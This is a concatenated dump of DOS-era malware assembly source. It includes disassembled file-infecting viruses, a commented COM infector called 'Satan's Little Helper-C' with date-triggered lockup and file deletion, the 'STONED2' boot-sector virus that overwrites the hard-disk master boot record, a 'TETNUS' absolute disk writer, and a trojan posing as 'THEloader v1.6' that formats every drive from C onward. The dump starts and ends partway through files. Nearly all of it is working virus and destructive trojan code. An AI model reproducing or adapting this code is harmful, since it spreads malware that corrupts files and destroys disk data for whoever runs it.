               les     di,dword ptr [si+2]     ; Load 32 bit ptr
               mov     cs:data_22,di           ; (7415:012B=0)
               mov     cs:data_23,es           ; (7415:012D=7415h)
               mov     [si+2],dx
               cmp     dx,0
               je      loc_19                  ; Jump if equal
               inc     ax
loc_19:
               mov     [si+4],ax
               pop     ax
               pop     dx
               call    sub_2                   ; (034C)
               sub     ax,[si+8]
               les     di,dword ptr [si+14h]   ; Load 32 bit ptr
               mov     data_17,di              ; (7415:0121=0C3C3h)
               mov     data_18,es              ; (7415:0123=0C3C3h)
               mov     [si+14h],dx
               mov     [si+16h],ax
               mov     word ptr data_19,ax     ; (7415:0125=0)
               mov     ax,4202h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03E5)
               call    sub_3                   ; (035D)
               jc      loc_ret_20              ; Jump if carry Set
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03E5)
               mov     ah,40h                  ; '@'
               mov     dx,si
               mov     cx,18h
               call    sub_5                   ; (03E5)

loc_ret_20:
               retn

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

sub_2:
               mov     cx,4
               mov     di,ax
               and     di,0Fh

locloop_21:
               shr     dx,1                    ; Shift w/zeros fill
               rcr     ax,1                    ; Rotate thru carry
               loop    locloop_21              ; Loop if cx > 0

               mov     dx,di
               retn

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

sub_3:
               mov     ah,40h                  ; '@'
               mov     cx,4E2h
               mov     dx,100h
               call    sub_6                   ; (03EC)
               jmp     short loc_27            ; (03E5)
               db      90h

;пппп External Entry into Subroutine пппппппппппппппппппппппппппппппппппппп

sub_4:
               mov     ah,2Ah                  ; '*'
               int     21h                     ; DOS Services  ah=function 2Ah
                                               ;  get date, cx=year, dx=mon/day
               cmp     al,6
               je      loc_22                  ; Jump if equal
               jnz     loc_23                  ; Jump if not zero
loc_22:
               mov     dx,10h
               mov     ah,1Ah
               int     21h                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               mov     dx,11Bh
               mov     cx,110Bh
               mov     ah,4Eh                  ; 'N'
               int     21h                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               mov     dx,2Eh
               mov     ax,3D02h
               int     15h                     ; General services, ah=func 3Dh
               mov     ah,41h                  ; 'A'
               int     21h                     ; DOS Services  ah=function 41h
                                               ;  delete file, name @ ds:dx
               jmp     short loc_23            ; (0395)
               db      90h
loc_23:
               mov     ax,4202h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03E5)
               cmp     ax,4E2h
               jb      loc_ret_26              ; Jump if below
               cmp     ax,0FA00h
               jae     loc_ret_26              ; Jump if above or =
               push    ax
               cmp     byte ptr [si],0E9h
               jne     loc_24                  ; Jump if not equal
               sub     ax,4E5h
               cmp     ax,[si+1]
               jne     loc_24                  ; Jump if not equal
               pop     ax
               stc                             ; Set carry flag
               retn
loc_24:
               call    sub_3                   ; (035D)
               jnc     loc_25                  ; Jump if carry=0
               pop     ax
               retn
loc_25:
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               call    sub_5                   ; (03E5)
               pop     ax
               sub     ax,3
               mov     dx,121h
               mov     si,dx
               mov     byte ptr cs:[si],0E9h
               mov     cs:[si+1],ax
               mov     ah,40h                  ; '@'
               mov     cx,3
               call    sub_5                   ; (03E5)

loc_ret_26:
               retn
sub_1           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_5           proc    near
loc_27:
               pushf                           ; Push flags
               call    cs:data_24              ; (7415:012F=0)
               retn
sub_5           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_6           proc    near
               push    ax
               push    ds
               push    es
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               cli                             ; Disable interrupts
               les     ax,dword ptr ds:data_5e ; (0000:0090=156h) Load 32 bit ptr
               mov     cs:data_25,ax           ; (7415:0133=0)
               mov     cs:data_26,es           ; (7415:0135=7415h)
               mov     ax,44Eh
               mov     ds:data_5e,ax           ; (0000:0090=156h)
               mov     word ptr ds:data_5e+2,cs        ; (0000:0092=124Ch)
               les     ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr
               mov     cs:data_28,ax           ; (7415:013B=0)
               mov     cs:data_29,es           ; (7415:013D=7415h)
               les     ax,cs:data_27           ; (7415:0137=0) Load 32 bit ptr
               mov     ds:data_1e,ax           ; (0000:004C=774h)
               mov     word ptr ds:data_1e+2,es        ; (0000:004E=70h)
               sti                             ; Enable interrupts
               pop     es
               pop     ds
               pop     ax
               retn
sub_6           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_7           proc    near
               push    ax
               push    ds
               push    es
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               cli                             ; Disable interrupts
               les     ax,dword ptr cs:data_25 ; (7415:0133=0) Load 32 bit ptr
               mov     ds:data_5e,ax           ; (0000:0090=156h)
               mov     word ptr ds:data_5e+2,es        ; (0000:0092=124Ch)
               les     ax,dword ptr cs:data_28 ; (7415:013B=0) Load 32 bit ptr
               mov     ds:data_1e,ax           ; (0000:004C=774h)
               mov     word ptr ds:data_1e+2,es        ; (0000:004E=70h)
               sti                             ; Enable interrupts
               pop     es
               pop     ds
               pop     ax
               retn
sub_7           endp

               db      0B0h, 3, 0CFh

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_8           proc    near
               mov     dx,10h
               mul     dx                      ; dx:ax = reg * ax
               retn
sub_8           endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_9           proc    near
               xor     ax,ax                   ; Zero register
               xor     bx,bx                   ; Zero register
               xor     cx,cx                   ; Zero register
               xor     dx,dx                   ; Zero register
               xor     si,si                   ; Zero register
               xor     di,di                   ; Zero register
               xor     bp,bp                   ; Zero register
               retn
sub_9           endp

loc_28:
               push    ds
               call    sub_10                  ; (046A)

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_10          proc    near
               mov     ax,4B4Dh
               nop
               int     21h                     ; DOS Services  ah=function 4Bh
                                               ;  run progm @ds:dx, parm @es:bx
               jc      loc_29                  ; Jump if carry Set
               jmp     loc_39                  ; (059C)
loc_29:
               pop     si
               push    si
               nop
               mov     di,si
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               les     ax,dword ptr ds:data_1e ; (0000:004C=774h) Load 32 bit ptr
               mov     cs:data_38e[si],ax      ; (7415:FCCD=0)
               mov     cs:data_39e[si],es      ; (7415:FCCF=0)
               les     bx,dword ptr ds:data_3e ; (0000:0084=40EBh) Load 32 bit ptr
               mov     cs:data_36e[di],bx      ; (7415:FCC5=0)
               mov     cs:data_37e[di],es      ; (7415:FCC7=0)
               mov     ax,ds:data_7e           ; (0000:0102=0F000h)
               cmp     ax,0F000h
               jne     loc_37                  ; Jump if not equal
               mov     dl,80h
               mov     ax,ds:data_8e           ; (0000:0106=0F000h)
               cmp     ax,0F000h
               je      loc_30                  ; Jump if equal
               cmp     ah,0C8h
               jb      loc_37                  ; Jump if below
               cmp     ah,0F4h
               jae     loc_37                  ; Jump if above or =
               test    al,7Fh
               jnz     loc_37                  ; Jump if not zero
               mov     ds,ax
               cmp     word ptr ds:data_40e,0AA55h     ; (F000:0000=0AA55h)
               jne     loc_37                  ; Jump if not equal
               mov     dl,ds:data_41e          ; (F000:0002=40h)
loc_30:
               mov     ds,ax
               xor     dh,dh                   ; Zero register
               mov     cl,9
               shl     dx,cl                   ; Shift w/zeros fill
               mov     cx,dx
               xor     si,si                   ; Zero register

locloop_31:
               lodsw                           ; String [si] to ax
               cmp     ax,0FA80h
               jne     loc_32                  ; Jump if not equal
               lodsw                           ; String [si] to ax
               cmp     ax,7380h
               je      loc_33                  ; Jump if equal
               jnz     loc_34                  ; Jump if not zero
loc_32:
               cmp     ax,0C2F6h
               jne     loc_35                  ; Jump if not equal
               lodsw                           ; String [si] to ax
               cmp     ax,7580h
               jne     loc_34                  ; Jump if not equal
loc_33:
               inc     si
               lodsw                           ; String [si] to ax
               cmp     ax,40CDh
               je      loc_36                  ; Jump if equal
               sub     si,3
loc_34:
               dec     si
               dec     si
loc_35:
               dec     si
               loop    locloop_31              ; Loop if cx > 0

               jmp     short loc_37            ; (050B)
loc_36:
               sub     si,7
               mov     cs:data_38e[di],si      ; (7415:FCCD=0)
               mov     cs:data_39e[di],ds      ; (7415:FCCF=0)
loc_37:
               mov     ah,62h                  ; 'b'
               int     21h                     ; DOS Services  ah=function 62h
                                               ;  get progrm seg prefix addr bx
               mov     es,bx
               mov     ah,49h                  ; 'I'
               int     21h                     ; DOS Services  ah=function 49h
                                               ;  release memory block, es=seg
               mov     bx,0FFFFh
               mov     ah,48h                  ; 'H'
               int     21h                     ; DOS Services  ah=function 48h
                                               ;  allocate memory, bx=bytes/16
               sub     bx,50h
               nop
               jc      loc_39                  ; Jump if carry Set
               mov     cx,es
               stc                             ; Set carry flag
               adc     cx,bx
               mov     ah,4Ah                  ; 'J'
               int     21h                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               mov     bx,4Fh
               stc                             ; Set carry flag
               sbb     es:data_12e,bx          ; (40EB:0002=0FFFFh)
               push    es
               mov     es,cx
               mov     ah,4Ah                  ; 'J'
               int     21h                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               mov     ax,es
               dec     ax
               mov     ds,ax
               mov     word ptr ds:data_11e,8  ; (4099:0001=0FFFFh)
               call    sub_8                   ; (0451)
               mov     bx,ax
               mov     cx,dx
               pop     ds
               mov     ax,ds
               call    sub_8                   ; (0451)
               add     ax,ds:data_13e          ; (40EB:0006=0FFFFh)
               adc     dx,0
               sub     ax,bx
               sbb     dx,cx
               jc      loc_38                  ; Jump if carry Set
               sub     ds:data_13e,ax          ; (40EB:0006=0FFFFh)
loc_38:
               mov     si,di
               xor     di,di                   ; Zero register
               push    cs
               pop     ds
               sub     si,36Ah
               mov     cx,4E2h
               inc     cx
               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
               mov     ah,62h                  ; 'b'
               int     21h                     ; DOS Services  ah=function 62h
                                               ;  get progrm seg prefix addr bx
               dec     bx
               mov     ds,bx
               mov     byte ptr ds:data_10e,5Ah        ; (4098:0000=0FFh) 'Z'
               mov     dx,173h
               xor     ax,ax                   ; Zero register
               push    ax
               pop     ds
               mov     ax,es
               sub     ax,10h
               mov     es,ax
               cli                             ; Disable interrupts
               mov     ds:data_3e,dx           ; (0000:0084=40EBh)
               mov     word ptr ds:data_3e+2,es        ; (0000:0086=11h)
               sti                             ; Enable interrupts
               dec     byte ptr ds:data_9e     ; (0000:047B=14h)
loc_39:
               pop     si
               cmp     word ptr cs:data_31e[si],5A4Dh  ; (7415:FC99=0)
               jne     loc_40                  ; Jump if not equal
               pop     ds
               mov     ax,cs:data_35e[si]      ; (7415:FCBB=0)
               mov     bx,cs:data_34e[si]      ; (7415:FCB9=0)
               push    cs
               pop     cx
               sub     cx,ax
               add     cx,bx
               push    cx
               push    word ptr cs:data_33e[si]        ; (7415:FCB7=0)
               push    ds
               pop     es
               call    sub_9                   ; (0457)
               retf                            ; Return far
loc_40:
               pop     ax
               mov     ax,cs:data_31e[si]      ; (7415:FC99=0)
               mov     word ptr cs:[100h],ax   ; (7415:0100=63E9h)
               mov     ax,cs:data_32e[si]      ; (7415:FC9B=0)
               mov     word ptr cs:[102h],ax   ; (7415:0102=0C303h)
               mov     ax,100h
               push    ax
               push    cs
               pop     ds
               push    ds
               pop     es
               call    sub_9                   ; (0457)
               retn
sub_10          endp


seg_a           ends



               end     start





;                       Virus
;               Satan's Little Helper-C
;This version:
;Searches current directory for non-infected com files, if any found
;it will become infected!
;This virus has a routine which self-destructs itself and uninfects
;the file.
       assume cs:code
       .286
code    segment "code"
       org 0100h
start   proc
       jmp     v_start         ;first 5 bytes |
       nop                     ;              |
       nop                     ;              |
v_start:
       call $+3                ;Actual virus
       pop dx
       sub dx, 3
       push dx                 ;save relocation factor in BP
       pop bp                  ;so virus can be copied anywhere twoards
       mov si, dx              ;the end of the file
                               ;
;                       Replace first 5 bytes in memory with original
;                       program code so normal program can run later
       add si, first_five
       mov di, 0100h
       mov cx, 5
       lodsb
       stosb
       loop $-2
;see if user want to disinfect this file
       mov si, 82h
       lodsb
       cmp al, "["             ;is al the code to disinfect?  "["
       jne ok_dont_disinfect
       jmp self_kill
ok_dont_disinfect:
                               ;here should be date checks to see
                               ;if an evil function should be unleashed!!
       mov ah, 2ah
       int 21h
       ;cx year 1980-2099
       ;dh month 1-12
       ;dl day
       ;al day of week  0=sun 1=mon -> 7=sat
       cmp dh, 12
       jne notdec
       cmp dl, 25
       jne notdec
       jmp christmas
notdec:
       cmp dh, 4
       jne notapril
       cmp dl, 1
       jne notapril
       jmp aprilfools
notapril:

;Set the DTA
       call set_dta
                               ;find first file to  ?infect?
       call find_first_file
go_again:
       mov si, bp
       add si, size_
       lodsw
       cmp ax, 5
       ja gd4
       jmp resrch
gd4:
       call open_file
       mov bx, ax
       mov al, 0
       call date_time
       mov ah, 3fh
       mov cx, 5
       mov dx, bp
       add dx, first_five
       int 21h
       mov ax, 4202h
       mov cx, 0
       mov dx, cx
       int 21h
       sub ax, 3
       mov si, bp
       add si, new_5
       mov [si+1], ax
       mov si, bp
       mov di, si
       add si, chkmark
       add di, mark
       mov cx, 2
       repe cmpsb
       jne INFECT
;File found was previously infected!
; search for new one now.
       jmp resrch

wipe_name:
       push di
       push ax
       push cx
       mov di, bp
       add di, name_
       mov cx, 13
       mov al, 0
       rep stosb
       pop cx
       pop ax
       pop di
       ret
resrch:
       call wipe_name
       mov ah, 4fh
       int 21h
       jnc gd3
       jmp term_virus
gd3:
       jmp go_again
INFECT:
;Time to infect the file!!
       mov si, bp
       add si, handle
       mov bx, [si]
       mov cx, vsize
       mov dx, bp
       call wipe_name
       mov ax, 4000h
       int 21h
       mov ax, 4200h
       mov cx, 0
       mov dx, cx
       int 21h
       mov dx, bp
       add dx, new_5
       mov ax, 4000h
       mov cx, 5
       int 21h
       mov al, 1
       call date_time
       mov ax, 3e00h
       int 21h
       jmp resrch

fndnam  proc
       mov si, env
       mov ax, [si]
       mov es, ax
       mov ds, ax
       mov si, 0
       mov di, si
__lp:
       lodsb
       cmp al, 0
       je chknxt
       stosb
       jmp __lp
chknxt:
       stosb
       lodsb
       cmp al, 0
       je fnd1
       stosb
       jmp __lp
fnd1:
       stosb
__lp2:
       lodsb
       cmp al, "a"
       jae ff_
up2:
       cmp al, "A"
       jae fff_
up3:
       stosb
       jmp __lp2
ff_:
       cmp al,"z"
       jbe fnd
       jmp up2
fff_:
       cmp al, "Z"
       jbe fnd
       jmp up3
fnd:
       mov si, di
       mov al, 0
       repne scasb
       mov dx, si
       mov di, dx
       ret
env     equ 2ch
fndnam  endp


self_kill:
               ;this procedure disinfects specified files
               ;SI points to the name of current file on disk
               ;which is infected
       call fndnam     ;find name of current file from env block in memory
       jmp gd__
abrt:
       int 20h
gd__:
       mov ax, 3d02h
       int 21h
       jc abrt
       mov bx, ax
       mov ax, cs
       mov ds, ax
       mov es, ax
       mov cx, 5
       mov dx, bp
       add dx, first_five
       call wipe_name
       mov ax, 4000h
       int 21h
       jc abrt
       mov dx, 0
       mov cx, 0
       mov ax, 4202h
       int 21h
       jnc gd__1
       jmp abrt
gd__1:
       sub ax, vsize
       mov dx, ax
       mov cx, 0
       mov ax, 4200h
       int 21h
       call wipe_name
       mov cx, 0
       mov ax, 4000h
       int 21h
       mov ax, 3e00h
       int 21h
       jmp term_virus
date_time:
       pusha
       mov ah, 57h
       cmp al, 0
       je fnd__$
       mov di, bp
       mov si, di
       add di, date
       add si, time
       mov dx, [di]
       mov cx, [si]
       int 21h
       jmp ret__
fnd__$:
       int 21h
       mov si, bp
       mov di, bp
       add si, time
       add di, date
       mov [si], cx
       mov [di], dx
ret__:
       popa
       ret
open_file:
       mov dx, bp
       add dx, name_
       mov ax, 3d02h
       int 21h
       jnc gd2
       jmp term_virus
gd2:
       mov si, bp
       add si, handle
       mov [si], ax
       ret
find_first_file:
       mov dx, bp
       mov cx, 0
       mov ah, 4eh
       add dx, all_com_files
       int 21h
       jnc gd1
       jmp term_virus
gd1:
       ret
set_dta:
       mov dx, bp
       mov ah, 1ah
       add dx, dta
       int 21h
       ret
term_virus:
       mov ax, 0
       mov bx, ax
       mov cx, bx
       mov dx, cx
       mov si, 0100h
       mov di, -1
       mov bp, di
       push 0100h
       ret

CHRISTMAS:
;Program Lockup
; Exit without running program
       int 20h
APRILFOOLS:
;Ha Ha delete current file
       call fndnam
       mov ah, 41h
       int 21h
       mov ax, cs
       mov ds, ax
       mov es, ax
       jmp term_virus
;                       Data    Bank
_fstfive:
       int 20h
       nop
ckmrk:
       nop
       nop
acf     db "*.COM",0
dt_     dw 0
tme     dw 0
d_t_a:
       rfd     db 21 dup (0)
       att     db 0
               dw 0
               dw 0
       sz      dd 0
       n_me    db 13 dup (0),0
handl   dw 0
nw_5    db 0e9h,0,0
mrk     db "66"
strain  db "C"
;
end___:
first_five      = offset _fstfive-0105h
all_com_files   = offset acf-0105h
dta             = offset d_t_a-0105h
attribute       = offset att-0105h
time            = offset tme-0105h
date            = offset dt_-0105h
size_           = offset sz-0105h
name_           = offset n_me-0105h
handle          = offset handl-0105h
new_5           = offset nw_5-0105h
mark            = offset mrk-0105h
chkmark         = offset ckmrk-0105h
vsize           = offset end___-0105h
start   endp
code    ends
       end     start






PAGE  60,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             STONED2                                  лл
;лл                                                                      лл
;лл      Created:   1-Jan-80                                             лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

DATA_1E         EQU     8                               ; (694B:0008=0)
DATA_2E         EQU     9                               ; (694B:0009=0)
DATA_3E         EQU     11H                             ; (694B:0011=0)

CODE_SEG_A      SEGMENT
               ASSUME  CS:CODE_SEG_A, DS:CODE_SEG_A


               ORG     100h

stoned2         PROC    FAR

start:
               DB      31488 DUP (0)
               DB      0EAH, 5, 0, 0C0H, 7, 0E9H
               DB      99H, 0, 0, 11H, 99H, 0
               DB      0F0H, 0E4H, 0, 80H, 9FH, 0
               DB      7CH, 0, 0, 1EH, 50H, 80H
               DB      0FCH, 2, 72H, 17H, 80H, 0FCH
               DB      4, 73H, 12H, 0AH, 0D2H, 75H
               DB      0EH, 33H, 0C0H, 8EH, 0D8H, 0A0H
               DB      3FH, 4, 0A8H, 1, 75H, 3
               DB      0E8H, 7, 0, 58H, 1FH, 2EH
               DB      0FFH, 2EH, 9, 0, 53H, 51H
               DB      52H, 6, 56H, 57H, 0BEH, 4
               DB      0
LOC_1:
               MOV     AX,201H
               PUSH    CS
               POP     ES
               MOV     BX,200H
               XOR     CX,CX                           ; Zero register
               MOV     DX,CX
               INC     CX
               PUSHF                                   ; Push flags
               CALL    DWORD PTR CS:DATA_2E            ; (694B:0009=0)
               JNC     LOC_2                           ; Jump if carry=0
               XOR     AX,AX                           ; Zero register
               PUSHF                                   ; Push flags
               CALL    DWORD PTR CS:DATA_2E            ; (694B:0009=0)
               DEC     SI
               JNZ     LOC_1                           ; Jump if not zero
               JMP     SHORT LOC_4
               DB      90H
LOC_2:
               XOR     SI,SI                           ; Zero register
               MOV     DI,200H
               CLD                                     ; Clear direction
               PUSH    CS
               POP     DS
               LODSW                                   ; String [si] to ax
               CMP     AX,[DI]
               JNE     LOC_3                           ; Jump if not equal
               LODSW                                   ; String [si] to ax
               CMP     AX,[DI+2]
               JE      LOC_4                           ; Jump if equal
LOC_3:
               MOV     AX,301H
               MOV     BX,200H
               MOV     CL,3
               MOV     DH,1
               PUSHF                                   ; Push flags
               CALL    DWORD PTR CS:DATA_2E            ; (694B:0009=0)
               JC      LOC_4                           ; Jump if carry Set
               MOV     AX,301H
               XOR     BX,BX                           ; Zero register
               MOV     CL,1
               XOR     DX,DX                           ; Zero register
               PUSHF                                   ; Push flags
               CALL    DWORD PTR CS:DATA_2E            ; (694B:0009=0)
LOC_4:
               POP     DI
               POP     SI
               POP     ES
               POP     DX
               POP     CX
               POP     BX
               RET
               DB      33H, 0C0H, 8EH, 0D8H, 0FAH, 8EH
               DB      0D0H, 0BCH, 0, 7CH, 0FBH, 0A1H
               DB      4CH, 0, 0A3H, 9, 7CH, 0A1H
               DB      4EH, 0, 0A3H, 0BH, 7CH, 0A1H
               DB      13H, 4, 48H, 48H, 0A3H, 13H
               DB      4, 0B1H, 6, 0D3H, 0E0H, 8EH
               DB      0C0H, 0A3H, 0FH, 7CH, 0B8H, 15H
               DB      0, 0A3H, 4CH, 0, 8CH, 6
               DB      4EH, 0, 0B9H, 0B8H, 1, 0EH
               DB      1FH, 33H, 0F6H, 8BH, 0FEH, 0FCH
               DB      0F3H, 0A4H, 2EH, 0FFH, 2EH, 0DH
               DB      0, 0B8H, 0, 0, 0CDH, 13H
               DB      33H, 0C0H, 8EH, 0C0H, 0B8H, 1
               DB      2, 0BBH, 0, 7CH, 2EH, 80H
               DB      3EH, 8, 0, 0, 74H, 0BH
               DB      0B9H, 7, 0, 0BAH, 80H, 0
               DB      0CDH, 13H, 0EBH, 49H, 90H, 0B9H
               DB      3, 0, 0BAH, 0, 1, 0CDH
               DB      13H, 72H, 3EH, 26H, 0F6H, 6
               DB      6CH, 4, 7, 75H, 12H, 0BEH
               DB      89H, 1, 0EH, 1FH
LOC_5:
               LODSB                                   ; String [si] to al
               OR      AL,AL                           ; Zero ?
               JZ      LOC_6                           ; Jump if zero
               MOV     AH,0EH
               MOV     BH,0
               INT     10H                             ; Video display   ah=functn 0Eh
                                                       ;  write char al, teletype mode
               JMP     SHORT LOC_5
LOC_6:
               PUSH    CS
               POP     ES
               MOV     AX,201H
               MOV     BX,200H
               MOV     CL,1
               MOV     DX,80H
               INT     13H                             ; Disk  dl=drive a: ah=func 02h
                                                       ;  read sectors to memory es:bx
               JC      LOC_7                           ; Jump if carry Set
               PUSH    CS
               POP     DS
               MOV     SI,200H
               MOV     DI,0
               LODSW                                   ; String [si] to ax
               CMP     AX,[DI]
               JNE     LOC_8                           ; Jump if not equal
               LODSW                                   ; String [si] to ax
               CMP     AX,[DI+2]
               JNE     LOC_8                           ; Jump if not equal
LOC_7:
               MOV     BYTE PTR CS:DATA_1E,0           ; (694B:0008=0)
               JMP     DWORD PTR CS:DATA_3E            ; (694B:0011=0)
LOC_8:
               MOV     BYTE PTR CS:DATA_1E,2           ; (694B:0008=0)
               MOV     AX,301H
               MOV     BX,200H
               MOV     CX,7
               MOV     DX,80H
               INT     13H                             ; Disk  dl=drive a: ah=func 03h
                                                       ;  write sectors from mem es:bx
               JC      LOC_7                           ; Jump if carry Set
               PUSH    CS
               POP     DS
               PUSH    CS
               POP     ES
               MOV     SI,3BEH
               MOV     DI,1BEH
               MOV     CX,242H
               REP     MOVSB                           ; Rep while cx>0 Mov [si] to es:[di]
               MOV     AX,301H
               XOR     BX,BX                           ; Zero register
               INC     CL
               INT     13H                             ; Disk  dl=drive a: ah=func 03h
                                                       ;  write sectors from mem es:bx
               JMP     SHORT LOC_7
               DB      7
               DB      35 DUP (0)
               DB      67H, 2, 6, 67H, 2, 67H
               DB      2, 0BH, 3, 67H, 2

stoned2         ENDP

CODE_SEG_A      ENDS



               END     START






PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             TETNUS                                   лл
;лл                                                                      лл
;лл      Created:   26-Jan-91                                            лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл


;-------------------------------------------------------------- seg_a  ----

seg_a           segment para public
               assume cs:seg_a , ds:seg_a

               db      256 dup (0)
               db      0B0h, 2, 0E8h, 1Dh, 0, 0B0h
               db      3, 0E8h, 18h, 0, 0B0h, 0
               db      0E8h, 13h, 0, 0B0h, 1, 0E8h
               db      0Eh, 0, 0B9h, 16h, 0, 0B0h
               db      3

locloop_1:
               inc     al
               call    sub_1                   ; (0122)
               loop    locloop_1               ; Loop if cx > 0

               int     20h                     ; Program Terminate

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
sub_1           endp


;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       program entry point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл


tetnus          proc    far

start:
               mov     cx,54h
               mov     dx,0
               mov     bx,cs
               mov     ds,bx
               mov     bx,0
               push    ax
               push    bx
               push    cx
               push    dx
               int     26h                     ; Absolute disk write, drive al
               popf                            ; Pop flags
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               retn

tetnus          endp

seg_a           ends



               end     start





       DOSSEG
       .MODEL SMALL
       .STACK 100H
       .DATA

CNTR    DB      2                       ; Counter to nuke all drives C and up
MESSAGE DB      13,10,"Loading program$"
FINISH  DB      13,10,"Thanx for using THEloader v1.6$",13,10
DOT     DB      ".$"

       .CODE

kill:   MOV     AX,@DATA
       MOV     DS,AX
       MOV     BP,1
       MOV     DX,OFFSET MESSAGE                       ;Print the nice little message
       MOV     AH,09H
       INT     21H

KRAD:   CMP     CNTR,26                 ;Check to see if it's drive Z
       JGE     BYEBYE                  ;If it is, then jump to the end...
       MOV     AH,05                   ;Format track
       MOV     CH,0                    ;Blah, blah, blah...
       MOV     DH,0                    ;Starting at Sector 0
       MOV     DL,CNTR                 ;Drive
       INT     13H
       MOV     DX,OFFSET DOT
       MOV     AH,09H
       INT     21H
       INC     CNTR
       JMP     KRAD

BYEBYE: MOV     AL,2
       MOV     CX,700
       MOV     DX,00
       MOV     DS,[DI+99]
       MOV     BX,[DI+55]
       INT     26H
       MOV     DX,OFFSET FINISH
       MOV     AH,09H
       INT     21H
       MOV     AX,4C00H
       INT     21H                     ;Get outa here...

END     KILL






PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             S                                        лл
;лл                                                                      лл
;лл      Created:   4-Aug-90                                             лл
;лл      Version:                                                        лл
;лл      Passes:    9          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_2e         equ     1ABh                    ; (946E:01AB=0)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

s               proc    far

start:
               jmp     loc_1                   ; (0108)
               db      0CDh, 20h, 7, 8, 9
loc_1:
               call    sub_1                   ; (010B)

s               endp

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
               pop     si
               sub     si,10Bh
               mov     bp,data_1[si]           ; (946E:01A0=0)
               add     bp,103h
               lea     dx,[si+1A2h]            ; Load effective addr
               xor     cx,cx                   ; Zero register
               mov     ah,4Eh                  ; 'N'
loc_2:
               int     21h                     ; DOS Services  ah=function 4Eh
                                               ;  find 1st filenam match @ds:dx
               jc      loc_6                   ; Jump if carry Set
               mov     dx,9Eh
               mov     ax,3D02h
               int     21h                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               mov     bx,ax
               mov     ah,3Fh                  ; '?'
               lea     dx,[si+1A8h]            ; Load effective addr
               mov     di,dx
               mov     cx,3
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
               cmp     byte ptr [di],0E9h
               je      loc_4                   ; Jump if equal
loc_3:
               mov     ah,4Fh                  ; 'O'
               jmp     short loc_2             ; (0120)
loc_4:
               mov     dx,[di+1]
               mov     data_1[si],dx           ; (946E:01A0=0)
               xor     cx,cx                   ; Zero register
               mov     ax,4200h
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               mov     dx,di
               mov     cx,2
               mov     ah,3Fh                  ; '?'
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
               cmp     word ptr [di],807h
               je      loc_3                   ; Jump if equal
               xor     dx,dx                   ; Zero register
               xor     cx,cx                   ; Zero register
               mov     ax,4202h
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               cmp     dx,0
               jne     loc_3                   ; Jump if not equal
               cmp     ah,0FEh
               jae     loc_3                   ; Jump if above or =
               mov     ds:data_2e[si],ax       ; (946E:01AB=0)
               mov     ah,40h                  ; '@'
